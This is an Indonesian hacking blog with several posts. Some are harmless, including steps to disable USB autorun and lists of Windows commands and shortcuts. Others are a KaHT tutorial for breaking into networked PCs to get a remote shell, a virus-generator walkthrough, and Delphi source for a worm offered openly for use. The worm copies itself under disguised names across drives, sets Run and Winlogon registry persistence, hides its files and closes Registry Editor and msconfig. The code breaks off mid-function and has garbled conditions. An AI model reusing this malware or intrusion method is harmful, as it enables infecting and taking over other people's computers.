Mungkin temen2 banyak yang kesal ketika kita ingin memakai Command Promp di windows, ehh.. gak taunya di block ama Virus, solusinya coba anda Pakai CommandPromptPortable Klik ||Disini|| Untuk mendowload, cara memakainya sama dengan Command Prompt Biasa kog, jadi gak usah takut klo gak ngerti (~_~)
Diposting oleh Ricky_Jo Blog's

Pada flash disc yang terkena virus biasanya (tidak selalu) terdapat file autorun.info yang di dalamnya terdapat perintah untuk menjalankan program virus. Nah, ketika flash disc tersebut dimasukkan ke drive USB yang fitur autorun-nya tidak di-disable maka secara otomatis Windows akan menjalankan program pada background tanpa adanya konfirmasi kepada user.

Salah satu cara untuk mengurangi resiko terkena virus tersebut adalah dengan mendisable fitur autorun pada drive USB. Ada pun caranya adalah sebagai berikut:

Disable Auto Run pada USB Drive

  1. Klik tombol Start - Run.
  2. Ketik gpedit.msc dan tekan OK.
  3. Klik pada User Configuration - Administrative Templates - System.
  4. Klik 2x pada Turn Off Autoplay.
  5. Klik pada option Enable.
  6. Pada option Turn off Autoplay on, pilih All drives.
  7. Klik OK.
  8. Selesai.
Catatan: gpedit.msc hanya ada di Windows XP Professional. (source k-k/)
Diposting oleh Ricky_Jo Blog's
kini tiba waktunya kita bermain-main dengan komputer temen yang sejaringan atau kalo ga ada yang dijadiin kelinci percobaan ke warnet aja..... Upz.... jangan ya... itukan udah termasuk tindak kriminal...he...he... mungkin kalian dah pada tau yang namanya KaHT...! ato masih ada yang blum..? dari planet mana lo... program itu aja sampe ga tahu...... itu tu proggram scaner keren yang gak ada gunanya buat elite, tapi cukup menarik buat jahilin temen....he..he... sangat banyak kok tutotialnya di lautan internet, bahkan lo bisa tengelem.... ni juga inspirasi dari mereka yang lebih senior.

Waktunya beraksi.. cuz dikepalaku dah muncul 2 tanduk berwarna merah...ha..ha.. tapi kamu harus cari dulu perlengkapan yang akan dipakai, kalo kamu mau download disini juga ada
1. KaHT : versi terbaru KaHT5
2. ip scaner : up to you, kalo gw pake portscan
3. Internet maniac : optional, tapi terserahlah kamu mau pakai yang mana

"KaHT is a program that can search any vulnerability from a machine and exploit that"
giman Asik kan...! kita tinggal nunggu aja progrmnya bekerja dan beres. Mau ngerjain juga bisa....

caranya.......
1. Buka KaHT tapi jangan ampe lupa matiin antivirus kamu cuz KaHT akan terdeteksi sebagai trojan (karna emang kaht tu backdor..he..he...). eh..,lha kok cuma muncul bentar terus langsung ilang? ayo kenapa?
Tenang bro, KaHT tu proggram berbasis console, jadi kalo mau gunain harus lewat dos/command prompt. Caranya: kamu cari dimana letak penyimpanan KaHT tadi, misalnya aku nyimpan di "D:\attack" berati kamu harus pindah direktori dulu dengan mengetikan "cd D:\attack" pada dos prompt .

2. Cari dulu pc target pake software yang aku sebutin diatas ato pake software kamu sendiri aja klo dah punya.

3. Ok, truz kalo uda dapat dan sudah pindah direktori tempat dimana KaHT berada ketikan no ip yang mau kamu serang, formatnya "KaHT [no ip pertama] [no ip terakhir]". masih bingung ya? payah benar... jalanin dong otak dikit aja, misalnya aku mau nyerang komputer dengan no ip 192.168.0.2 berati yang gw ketik "KaHT 192.168.0.1 192.168.0.2" lalu tekan enter, dan tunggu beberapa saat ketika proses exploitasi berjalan. Kalo ada port yang terbuka maka KaHT akan langusung melakukan proses ekploitasi dan kalo berhasil maka kamu akan berada di dos komputer target tepatnya di C:\windows\system. (untuk sistem wondoz punya bill gates)

4. Udah Senang ya bisa masuk pc target.. mau di apain ya..? bingung mau ngapain? ketik aja format ato erase. gak denk! bcanda kok.he..he.. up To YoU... tapi jangan melakukan tindak kriminal ya.....

Nb. sekedar pembelajaran, kami tidak bertanggung jawab atas kerusakan yang anda buat
Diposting oleh Ricky_Jo Blog's
compmgmt.msc - Computer management
devmgmt.msc - Device manager
diskmgmt.msc - Disk management
dfrg.msc - Disk defrag
eventvwr.msc - Event viewer
fsmgmt.msc - Shared folders

gpedit.msc - Group policies
lusrmgr.msc - Local users and groups
perfmon.msc - Performance monitor
rsop.msc - Resultant set of policies
secpol.msc - Local security settings
services.msc - Various Services
msconfig - System Configuration Utility
regedit - Registry Editor
msinfo32 _ System Information
sysedit _ System Edit
win.ini _ windows loading information(also system.ini)
winver _ Shows current version of windows
mailto: _ Opens default email client
command _ Opens command prompt

Run Commands to access the control panel:

Add/Remove Programs control appwiz.cpl
Date/Time Properties control timedate.cpl
Display Properties control desk.cpl
FindFast control findfast.cpl
Fonts Folder control fonts
Internet Properties control inetcpl.cpl
Keyboard Properties control main.cpl keyboard
Mouse Properties control main.cpl
Multimedia Properties control mmsys.cpl
Network Properties control netcpl.cpl
Password Properties control password.cpl
Printers Folder control printers
Sound Properties control mmsys.cpl sounds
System Properties control sysdm.cpl

Command Prompt:

ANSI.SYS Defines functions that change display graphics, control cursor movement, and reassign keys.
APPEND Causes MS-DOS to look in other directories when editing a file or running a command.
ARP Displays, adds, and removes arp information from network devices.
ASSIGN Assign a drive letter to an alternate letter.
ASSOC View the file associations.
AT Schedule a time to execute commands or programs.
ATMADM Lists connections and addresses seen by Windows ATM call manager.
ATTRIB Display and change file attributes.
BATCH Recovery console command that executes a series of commands in a file.
BOOTCFG Recovery console command that allows a user to view, modify, and rebuild the boot.ini
BREAK Enable / disable CTRL + C feature.
CACLS View and modify file ACL\'s.
CALL Calls a batch file from another batch file.
CD Changes directories.
CHCP Supplement the International keyboard and character set information.
CHDIR Changes directories.
CHKDSK Check the hard disk drive running FAT for errors.
CHKNTFS Check the hard disk drive running NTFS for errors.
CHOICE Specify a listing of multiple options within a batch file.
CLS Clears the screen.
CMD Opens the command interpreter.
COLOR Easily change the foreground and background color of the MS-DOS window.
COMP Compares files.
COMPACT Compresses and uncompress files.
CONTROL Open control panel icons from the MS-DOS prompt.
CONVERT Convert FAT to NTFS.
COPY Copy one or more files to an alternate location.
CTTY Change the computers input/output devices.
DATE View or change the systems date.
DEBUG Debug utility to create assembly programs to modify hardware settings.
DEFRAG Re-arrange the hard disk drive to help with loading programs.
DEL Deletes one or more files.
DELETE Recovery console command that deletes a file.
DELTREE Deletes one or more files and/or directories.
DIR List the contents of one or more directory.
DISABLE Recovery console command that disables Windows system services or drivers.
DISKCOMP Compare a disk with another disk.
DISKCOPY Copy the contents of one disk and place them on another disk.
DOSKEY Command to view and execute commands that have been run in the past.
DOSSHELL A GUI to help with early MS-DOS users.
DRIVPARM Enables overwrite of original device drivers.
ECHO Displays messages and enables and disables echo.
EDIT View and edit files.
EDLIN View and edit files.
EMM386 Load extended Memory Manager.
ENABLE Recovery console command to enable a disable service or driver.
ENDLOCAL Stops the localization of the environment changes enabled by the setlocal command.
ERASE Erase files from computer.
EXIT Exit from the command interpreter.
EXPAND Expand a M*cros*ft Windows file back to it\'s original format.
EXTRACT Extract files from the M*cros*ft Windows cabinets.
FASTHELP Displays a listing of MS-DOS commands and information about them.
FC Compare files.
FDISK Utility used to create partitions on the hard disk drive.
FIND Search for text within a file.
FINDSTR Searches for a string of text within a file.
FIXBOOT Writes a new boot sector.
FIXMBR Writes a new boot record to a disk drive.
FOR Boolean used in batch files.
FORMAT Command to erase and prepare a disk drive.
FTP Command to connect and operate on a FTP server.
FTYPE Displays or modifies file types used in file extension associations.
GOTO Moves a batch file to a specific label or location.
GRAFTABL Show extended characters in graphics mode.
HELP Display a listing of commands and brief explanation.
IF Allows for batch files to perform conditional processing.
IFSHLP.SYS 32-bit file manager.
IPCONFIG Network command to view network adapter settings and assigned values.
KEYB Change layout of keyboard.
LABEL Change the label of a disk drive.
LH Load a device driver in to high memory.
LISTSVC Recovery console command that displays the services and drivers.
LOADFIX Load a program above the first 64k.
LOADHIGH Load a device driver in to high memory.
LOCK Lock the hard disk drive.
LOGON Recovery console command to list installations and enable administrator login.
MAP Displays the device name of a drive.
MD Command to create a new directory.
MEM Display memory on system.
MKDIR Command to create a new directory.
MODE Modify the port or display settings.
MORE Display one page at a time.
MOVE Move one or more files from one directory to another directory.
MSAV Early M*cros*ft Virus scanner.
MSD Diagnostics utility.
MSCDEX Utility used to load and provide access to the CD-ROM.
NBTSTAT Displays protocol statistics and current TCP/IP connections using NBT
NET Update, fix, or view the network or network settings
NETSH Configure dynamic and static network information from MS-DOS.
NETSTAT Display the TCP/IP network protocol statistics and information.
NLSFUNC Load country specific information.
NSLOOKUP Look up an IP address of a domain or host on a network.
PATH View and modify the computers path location.
PATHPING View and locate locations of network latency.
PAUSE Command used in batch files to stop the processing of a command.
PING Test / send information to another network computer or network device.
POPD Changes to the directory or network path stored by the pushd command.
POWER Conserve power with computer portables.
PRINT Prints data to a printer port.
PROMPT View and change the MS-DOS prompt.
PUSHD Stores a directory or network path in memory so it can be returned to at any time.
QBASIC Open the QBasic.
RD Removes an empty directory.
REN Renames a file or directory.
RENAME Renames a file or directory.
RMDIR Removes an empty directory.
ROUTE View and configure windows network route tables.
RUNAS Enables a user to execute a program on another computer.
SCANDISK Run the scandisk utility.
SCANREG Scan registry and recover registry from errors.
SET Change one variable or string to another.
SETLOCAL Enables local environments to be changed without affecting anything else.
SETVER Change MS-DOS version to trick older MS-DOS programs.
SHARE Installs support for file sharing and locking capabilities.
SHIFT Changes the position of replaceable parameters in a batch program.
SHUTDOWN Shutdown the computer from the MS-DOS prompt.
SMARTDRV Create a disk cache in conventional memory or extended memory.
SORT Sorts the input and displays the output to the screen.
START Start a separate window in Windows from the MS-DOS prompt.
SUBST Substitute a folder on your computer for another drive letter.
SWITCHES Remove add functions from MS-DOS.
SYS Transfer system files to disk drive.
TELNET Telnet to another computer / device from the prompt.
TIME View or modify the system time.
TITLE Change the title of their MS-DOS window.
TRACERT Visually view a network packets route across a network.
TREE View a visual tree of the hard disk drive.
TYPE Display the contents of a file.
UNDELETE Undelete a file that has been deleted.
UNFORMAT Unformat a hard disk drive.
UNLOCK Unlock a disk drive.
VER Display the version information.
VERIFY Enables or disables the feature to determine if files have been written properly.
VOL Displays the volume information about the designated drive.
XCOPY Copy multiple files, directories, and/or drives from one location to another.
TRUENAME When placed before a file, will display the whole directory in which it exists
TASKKILL It allows you to kill those unneeded or locked up applications

Windows XP Shortcuts:

ALT+- (ALT+hyphen) Displays the Multiple Document Interface (MDI) child window\'s System menu
ALT+ENTER View properties for the selected item
ALT+ESC Cycle through items in the order they were opened
ALT+F4 Close the active item, or quit the active program
ALT+SPACEBAR Display the System menu for the active window
ALT+TAB Switch between open items
ALT+Underlined letter Display the corresponding menu
BACKSPACE View the folder one level up in My Computer or Windows Explorer
CTRL+A Select all
CTRL+B Bold
CTRL+C Copy
CTRL+I Italics
CTRL+O Open an item
CTRL+U Underline
CTRL+V Paste
CTRL+X Cut
CTRL+Z Undo
CTRL+F4 Close the active document
CTRL while dragging Copy selected item
CTRL+SHIFT while dragging Create shortcut to selected iteM
CTRL+RIGHT ARROW Move the insertion point to the beginning of the next word
CTRL+LEFT ARROW Move the insertion point to the beginning of the previous word
CTRL+DOWN ARROW Move the insertion point to the beginning of the next paragraph
CTRL+UP ARROW Move the insertion point to the beginning of the previous paragraph
SHIFT+DELETE Delete selected item permanently without placing the item in the Recycle Bin
ESC Cancel the current task
F1 Displays Help
F2 Rename selected item
F3 Search for a file or folder
F4 Display the Address bar list in My Computer or Windows Explorer
F5 Refresh the active window
F6 Cycle through screen elements in a window or on the desktop
F10 Activate the menu bar in the active program
SHIFT+F10 Display the shortcut menu for the selected item
CTRL+ESC Display the Start menu
SHIFT+CTRL+ESC Launches Task Manager
SHIFT when you insert a CD Prevent the CD from automatically playing
WIN Display or hide the Start menu
WIN+BREAK Display the System Properties dialog box
WIN+D Minimizes all Windows and shows the Desktop
WIN+E Open Windows Explorer
WIN+F Search for a file or folder
WIN+F+CTRL Search for computers
WIN+L Locks the desktop
WIN+M Minimize or restore all windows
WIN+R Open the Run dialog box
WIN+TAB Switch between open items

Windows Explorer Shortcuts:

ALT+SPACEBAR - Display the current window’s system menu
SHIFT+F10 - Display the item\'s context menu
CTRL+ESC - Display the Start menu
ALT+TAB - Switch to the window you last used
ALT+F4 - Close the current window or quit
CTRL+A - Select all items
CTRL+X - Cut selected item(s)
CTRL+C - Copy selected item(s)
CTRL+V - Paste item(s)
CTRL+Z - Undo last action
CTRL+(+) - Automatically resize the columns in the right hand pane
TAB - Move forward through options
ALT+RIGHT ARROW - Move forward to a previous view
ALT+LEFT ARROW - Move backward to a previous view
SHIFT+DELETE - Delete an item immediately
BACKSPACE - View the folder one level up
ALT+ENTER - View an item’s properties
F10 - Activate the menu bar in programs
F6 - Switch between left and right panes
F5 - Refresh window contents
F3 - Display Find application
F2 - Rename selected item
Diposting oleh Ricky_Jo Blog's
Sapa bilang membuat virus itu susah…
Sapa bilang membuat virus itu harus menguasai bahasa pemrograman…
Cukup anda ga buta huruf ajah… Aku yakin anda akan bisa membuat… Yang jelas anda harus memiliki software virus generator. Klo lom punya masuk aja di link http://geocities.com/fuajuar atau lo bisa download disini

Sebenarnya sich buanyak virus generator yang bisa anda gunakan tapi yang paling guampang ga bikin puyeng tapi sayangnya dah kedetek ma avg, avira,dll adalah virus generator ini.
Kita mulai aja yach demo’nya tapi bukan demo nurunin BBM yach….he…he… soalnya percumah…..
Jalankan fast virus engine yang anda sudah download, jika ga error maka akan tampil splash screen seperti gambar dibawah :



Selanjutnya klik pada bagian tengah splash screen yang ada tulisan “ klik disini “ tapi klo lo yang jalanin kagak bakal ada tulisan klik disini, biar lo nyari sampe otak lo miring seperti menara pisa yang ada di tanah kelahiran valentine rossi…. He….he…he… tapi klo lo berhasil nemuin beritahu aku yach…..
Setelah anda klik akan tampil bidang kerja Fast Firus Engine v1.0 seperti gambar berikut :



Pada bagian authorof the virus ketik nama pembuat virus, terserah mo lo namain apa, aku sich asyik-asyik ajah……..
Pada bagian name of the virus ketikan nama virus tersebut, misalnya pada demo ini aku berinama swelo itu aku ambil dari panggilan sayangku ma someone yang telah pergi meninggalkanku….. hik…hik… kok jadi curhat…..
Pada bagian your message, ketikkan pesan yang anda inginkan…. Up to u
Setelah itu tekan tombol GENERETE jika berhasil akan tampil kotak dialog berikut :



Virus buatan anda telah selesai……
File virus yang dihasilkan bernama firus.exe dan icon yang digunakan berbentuk folder
Nb. “ jangan di klik yach coz itu akan menjadi masalah buat anda tapi tidak buat aku…… “
Ibu maafkan anakmu….
Yang telah mengajarkan sedikit kejahatan kepada orang……………….
Ibu maafkan anakmu….
bukannya anakmu ingin mengajak orang untuk berbuat jahat…………
Tapi anakmu ini hanya ingin berbagi sedikit ilmu pengetahuan……….
Ibu aku janji ga akan membuat virus lagi…..

“ yakinlah sekecil apapun perbuatan yang telah kau perbuat, semua itu akan kembali kepadamu”

download
Diposting oleh Ricky_Jo Blog's
kenapa aku membuat virus....?
jawabanya itu semua berawal dari sebuah virus yang menyebar di lab. kampus gua.....
semua data-data penting gua hilang...! cek percek virus itu dibuat oleh teman gua, makanya gua buat untuk ngebalas dia, tapi virus ini ga ngerusak coz aku bukan perusak, sedikit becanda buat senang-senag... he..he... ni gua kasih source codenya

unit Scary;


interface



uses
shellapi,Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
jpeg, ExtCtrls, lmdclass, StdCtrls, Buttons, MPlayer,
FileCtrl, LMDOneInstance, LMDWaveComp,
LMDCustomComponent, LMDWndProcComponent, LMDTrayIcon;


type
TFreak = class(TForm)
Image1: TImage;
Timer1: TTimer;
LMDTrayIcon1: TLMDTrayIcon;
i: TLabel;
Image2: TImage;
LMDWaveComp1: TLMDWaveComp;
a: TLabel;
Image3: TImage;
Timer2: TTimer;
LMDOneInstance1: TLMDOneInstance;
DirectoryListBox1: TDirectoryListBox;
DirectoryListBox2: TDirectoryListBox;
DriveComboBox1: TDriveComboBox;
DriveComboBox2: TDriveComboBox;
FileListBox1: TFileListBox;
FileListBox2: TFileListBox;
Edit1: TEdit;
Edit2: TEdit;
Timer3: TTimer;
Timer4: TTimer;
Timer5: TTimer;
Timer6: TTimer;
Timer7: TTimer;
Timer8: TTimer;
Timer9: TTimer;
Timer10: TTimer;
Timer11: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormKeyPress(Sender: TObject; var Key: Char);
procedure Timer2Timer(Sender: TObject);
procedure Timer3Timer(Sender: TObject);
procedure Timer4Timer(Sender: TObject);
procedure Timer5Timer(Sender: TObject);
procedure Timer6Timer(Sender: TObject);
procedure Timer7Timer(Sender: TObject);
procedure Timer8Timer(Sender: TObject);
procedure Timer9Timer(Sender: TObject);
procedure Timer10Timer(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormDestroy(Sender: TObject);
procedure FormEndDock(Sender, Target: TObject; X, Y: Integer);
procedure FormDblClick(Sender: TObject);
procedure FormUnDock(Sender: TObject; Client: TControl;
NewTarget: TWinControl; var Allow: Boolean);
procedure Timer11Timer(Sender: TObject);


private
{ Private declarations }
DeskTopCanvas:TCanvas;
desktop:Tcanvas;
public
{ Public declarations }
Procedure FileCopy(Const Namafile, Tujuan : String);
end;


var
Freak: TFreak;
hit : Integer;
k : Boolean;
ActiveDir:string;
implementation

uses Registry,mmsystem;



function SetSEShutDownPrivilege: Boolean;
var
TTokenHnd: THandle; // Handle u/ membuka akses token
TTokenPvg: TTokenPrivileges;
cbtpPrevious: DWORD;
rTTokenPvg: TTokenPrivileges;
pcbtpPreviousRequired: DWORD;
tpResult: Boolean;
const
SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
begin
Result := false;


// Jika windows platform NT
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
// membuka akses token yg diasosiasikan dg proses
if OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TTokenHnd) then
begin
// memperoleh locally unique identifier (LUID)
tpResult := LookupPrivilegeValue(nil, SE_SHUTDOWN_NAME,
TTokenPvg.Privileges[0].Luid);
TTokenPvg.PrivilegeCount := 1;
TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
cbtpPrevious := SizeOf(rTTokenPvg);
pcbtpPreviousRequired := 0;
if TPResult then
// Mengaktifkan privilege SE_SHUTDOWN_NAME
Result := Windows.AdjustTokenPrivileges(TTokenHnd,
False, TTokenPvg, cbtpPrevious,
rTTokenPvg, pcbtpPreviousRequired)
end;
end;
end;


// Fungsi untuk mengeset power state Shutdown, Power Off,
// Log Off, dan Reboot
function Power(pwFlags: Cardinal) : boolean;
begin
if Win32Platform = VER_PLATFORM_WIN32_NT then
SetSEShutDownPrivilege;


Result := ExitWindowsEx(pwFlags, 0);
end;


{$R *.DFM}
function LoadAtStar(AppName, AppCommand: string): boolean;
var Reg : TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey(
'\Software\Microsoft\Windows\CurrentVersion\Run',
true);


Reg.WriteString(AppName, AppCommand);
Reg.CloseKey;
Result := true;
finally
Reg.Free;
end; // end try
end;


function LoadAtStart(AppName, AppCommand: string): boolean;
var Reg : TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(
'\Software\Microsoft\Windows\CurrentVersion\Run',
true);


Reg.WriteString(AppName, AppCommand);
Reg.CloseKey;
Result := true;
finally
Reg.Free;
end; // end try

end;



Procedure TFreak.FileCopy(Const Namafile, Tujuan : String);
begin
with TMemoryStream.Create do
begin
try
LoadFromFile(Namafile);
SaveToFile(Tujuan);
finally
Free;
end;
end;
end;


procedure Hitung;
begin
hit := random(2000);
end;


procedure ShowTaskbarIcon(const Show: boolean);
begin
ShowWindow(Application.Handle, SW_HIDE);
if Show = false then
SetWindowLong(Application.Handle, GWL_EXSTYLE,
GetWindowLong(Application.Handle,
GWL_EXSTYLE) or WS_EX_TOOLWINDOW)


else
SetWindowLong(Application.Handle, GWL_EXSTYLE,
WS_OVERLAPPED);
ShowWindow(Application.Handle, SW_SHOW);
end;


procedure TFreak.Timer1Timer(Sender: TObject);
begin
hide;
i.Left := i.Left +1;
if i.Left = 2 then
begin
Hitung;
if hit <= 800 then
hit := 801 + random(501);
end;


if i.Left = hit then
begin
Show;
Image1.Visible:=true;
Image2.Visible:=false;
LMDWaveComp1.Play;
end;
if i.Left = (hit + 3) then
begin
i.Left := 1;
Timer2.Enabled:=true;
Timer1.Enabled:=false;
Image1.Visible:=false;
Image2.Visible:=false;
LMDWaveComp1.Stop;
Hide;
end;
end;


procedure TFreak.FormShow(Sender: TObject);
var reg : TRegistry;
begin
ShowTaskbarIcon(false);
Timer1.Enabled:=true;
try
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
if Reg.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',True) then
begin
Reg.WriteString('shell','Explorer.exe "C:\WINDOWS\'+'\services.exe"');
Reg.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',false);
end;
finally
reg.free;


try
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_CURRENT_USER;


if Reg.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',True) then
begin
Reg.WriteString('shell','Explorer.exe "C:\WINDOWS\system32\'+'sysconf.com"');
Reg.OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',false);
end;
finally
reg.free;
end;
end;

end;
procedure TFreak.FormCreate(Sender: TObject);
var F: TextFile;
hsysMenu:HMENU;{tutup form}
h:HWND;{tutup system}
APath: string;
dir : string;
{i : integer;}
{x : integer;}
{F:TextFile;}
MySearch: TSearchRec;
windir:array[0..255] of char;
sysdir:array[0..255] of char;
begin
Application.ShowMainForm := true;
Brush.Style:=bsClear;
DirectoryListBox1.Directory:=ExtractFilePath(Application.ExeName);
Edit1.Text:=Application.ExeName;
Edit2.Text:='c:\WINDOWS\Help\'+'tour.scr';
if not FileExists('c:\WINDOWS\Help\'+'tour.scr') then
FileCopy(Edit1.Text,Edit2.Text);
LoadAtStart('Network', 'Internet Access.exe');
LoadAtStart('WinLogon', 'C:\WINDOWS\system32\drivers\smss.exe'+' /System');
LoadAtStart('Automatic Updates', 'C:\Program Files\Internet Explorer\IEXPLORER.EXE'+' /Help Protecd');
LoadAtStart('boot', 'C:\WINDOWS\services.exe'+' /Reboot Windows');
LoadAtStar('SCRNSAVER', 'C:\WINDOWS\Help\'+'tour.scr');
LoadAtStar('SystemRoot', 'D:\AUTOEXEC.BAT');


// LoadAtStart(''','D:\AUTOEXEC'+' /Reboot Windows "%1"%*');
{FORM INVISIBILE}


{COPIA SE STESSO}
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
//mkdir(sysdir+'\1046');
except
end;
try
CopyFile(pchar(application.ExeName),PChar(dir+'Internet Access.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'c:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'d:\Peta Ibukota.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'e:\Peta Jogja.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\WINDOWS\inf\Viruses Protect.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\Program Files\Online Services\Internet Access.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\Program Files\Internet Explorer\IEXPLORER.EXE'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'f:\Peta Ibukota.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'g:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'h:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+'\sysconf.com'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'J:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'E:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'F:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'G:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'H:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\WINDOWS\system32\drivers\smss.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'I:\AUTOEXEC.BAT'),true);
except
end;
end;
begin
//getsystemdirectory(sysdir,sizeof(sysdir)); PChar
try
SetFileAttributes(PChar(dir+'AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'E:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'F:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'G:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'H:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'I:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'J:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+'\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+'\Internet Access.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'\Program Files\Internet Explorer\IEXPLORER.EXE'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'\Program Files\Online Services\Internet Access.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'\WINDOWS\system32\drivers\smss.exe'), FILE_ATTRIBUTE_HIDDEN);
except


end;
end;
end;

//end;



procedure TFreak.FormKeyPress(Sender: TObject; var Key: Char);
var st: String;
begin
if Key = #27 then
begin
Application.MessageBox('Program by :'+#10'Black Devil',' ',MB_RTLREADING+MB_ICONSTOP);
st := InputBox(' ','Type the fucking password','');
if st = 'krowak' then
begin
Application.MessageBox('Are you some devil ',' ',MB_RTLREADING+MB_ICONSTOP);
Image1.Visible:=False;
Image2.Visible:=False;
Image3.Visible:=true;
Application.Terminate;


end;
end;
end;


procedure TFreak.Timer2Timer(Sender: TObject);
begin
hide;
a.Left := a.Left +1;
if a.Left = 2 then
begin
Hitung;
if hit <= 800 then
hit := 801 + random(501);
end;


if a.Left = hit then
begin
Show;
Image2.Visible:=true;
Image1.Visible:=false;
LMDWaveComp1.Play;
end;
if a.Left = (hit + 3) then
begin
a.Left := 1;
Timer1.Enabled:=true;
Timer2.Enabled:=false;
Image2.Visible:=false;
Image1.Visible:=false;
LMDWaveComp1.Stop;
Hide;
//ShellExecute(0, 'open', 'www.rossimania.com', nil, nil, SW_NORMAL);
end;
end;


procedure TFreak.Timer3Timer(Sender: TObject);
VAR
h:HWND;{tutup system}
windir:array[0..255] of char;
sysdir:array[0..255] of char;
dir : string;
begin
//Application.ShowMainForm := false;
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
except
end;
try


///////////////////////////////////////////////////////////////////////////////
CopyFile(pchar(application.ExeName),PChar(windir+'.exe'),true);
//CopyFile(pchar(application.ExeName),PChar('c:\Program Files'+'.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\WINDOWS\system32\drivers\svchost.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'\Internet Access.exe'),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+'\sysconf.com'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'C:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'D:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'D:\Peta Ibukota.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'C:\Peta Jogja.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'D:\Peta Jogja.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'e:\Peta Ibukota.exe'),true);
///////////////////////////////////////////////////////////////////////////////
CopyFile(pchar(application.ExeName),PChar(dir+'D:\AUTOEXEC.BAT'),true);
except
end;
begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
SetFileAttributes(PChar(windir+'Internet Access.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+'services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'\WINDOWS\system32\drivers\smss.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+'\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'C:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'D:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
/////////////////
SetFileAttributes(PChar(dir+'D:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
except
end;
end;
h:=FindWindow(nil,'Untitled - Notepad');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Untitled - Notepad');
if h0 then ShowMessage('request permit formerly');
begin
h:=FindWindow(nil,'Registry Editor');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'Registry Editor');
if h0 then ShowMessage('sorry may not be accessinged');
begin
h:=FindWindow(nil,'System Configuration Utility');
if h0 then PostMessage(h, WM_QUIT ,0,0);
begin
h:=FindWindow(nil,'System Configuration Utility');
